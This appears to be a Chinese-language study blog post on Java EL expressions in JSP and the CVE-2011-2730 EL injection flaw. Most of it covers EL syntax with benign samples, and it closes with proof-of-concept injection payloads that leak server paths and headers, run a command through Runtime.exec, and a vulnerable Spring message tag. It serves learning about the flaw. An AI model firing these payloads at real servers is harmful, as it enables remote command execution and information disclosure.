EL表达式注入(CVE-2011-2730)-学习
一.基础信息
首先我们需要学习一下EL表达式是什么怎么去使用,El表达式全称Expression Language表达式语言,代替JSP页面中数据访问的复杂编码,
可以非常便捷的取出域对象(pageContext、request、session、aplication)中保存数据,前提是一定要先SetAttribute,EL表达式就相当于简化
getAttribute,下面我们去学习一下什么是EL表达式。
1.1:EL表达式使用$()
下面我们举个正常的例子(代码一),访问返回xinyi,那么我们使用EL表达式$()试试呢?用他其实就是为了方便和代码的可读性(代码二),
可以看到我们直接省略变量和getAttribute,直接使用key就可打印,现在我们在举一个例子,上面我们讲到可以取四种域对象的,那么如果四种写成
一摸一样的他取的是谁呢?还是说都取出来了,我们可以看一下代码三自己做一个思考,实际上他只会取出一个,那么回去出来哪一个呢?默认的情况下会进行优先级
pageContext>request>session>application,在代码三中我也已经帮你排列好了,有注意的话你看到了我说的是默认,没错可以指定作用域进行查找,
实际也非常简单,我么看代码四把权限最小的application进行指定查找在EL表达式中使用$(applicationScope.KEY),那么我们使用类举个例子看代码五,
这个时候返回的是什么呢?没错返回的是一个全类名和一个HASH值实际上就是执行了Object的toString方法(图片一,图片二),那么只需要重写toString就可以
了很简单的图三。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
request.setAttribute("name","xinyi");
Object name = request.getAttribute("name");
%>
<%=name%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
request.setAttribute("name","xinyi");
%>
${name}
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
pageContext.setAttribute("name","pageContext");
request.setAttribute("name","request");
session.setAttribute("name","session");
application.setAttribute("name","application");
%>
${name}
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
pageContext.setAttribute("name","pageContext");
request.setAttribute("name","request");
session.setAttribute("name","session");
application.setAttribute("name","application");
%>
${applicationScope.name}
<%@ page import="com.example.el.ELServlet" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
ELServlet elServlet = new ELServlet("xinyi", "22", "男");
request.setAttribute("EL", elServlet);
%>
${EL}
那么怎么取出指定的属性呢?也很简单下面代码一,就会获取到xinyi了,当然了也可以进行重新赋值看下面代码就会获取到niuma了,
也可以使用另一种取值还有就是请求中获取都可以在代码一中看到,最重要的是它可以进行逻辑比较等代码二打印true。
&& || ! < > <= <= ==
&& and
|| or
! not
== eq
!=ne
<lt
>gt
<=le
<%@ page import="com.example.el.ELServlet" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
ELServlet elServlet = new ELServlet("xinyi", "22", "男");
request.setAttribute("EL", elServlet);
%>
${EL.name}
//重新赋值
${EL.name="niuma"}
//另外一种取值
${EL['name']}
//从请求中获取如GET?a=123456
${param.a}
<%@ page import="com.example.el.ELServlet" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
request.setAttribute("name1", 500);
request.setAttribute("name2", 499);
%>
${name1>name2}
二.EL漏洞注入CVE-2011-2730
代码一是比较通用的Poc,说实话哈我自己感觉没必要学印象范围7.0.0 到 7.0.19,主要是往上这个案例太少了,看代码二就是漏洞触发点。
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}
//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
//文件头参数
${header}
//获取webRoot
${applicationScope}
//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
<spring:message text="${param.a}"></spring:message>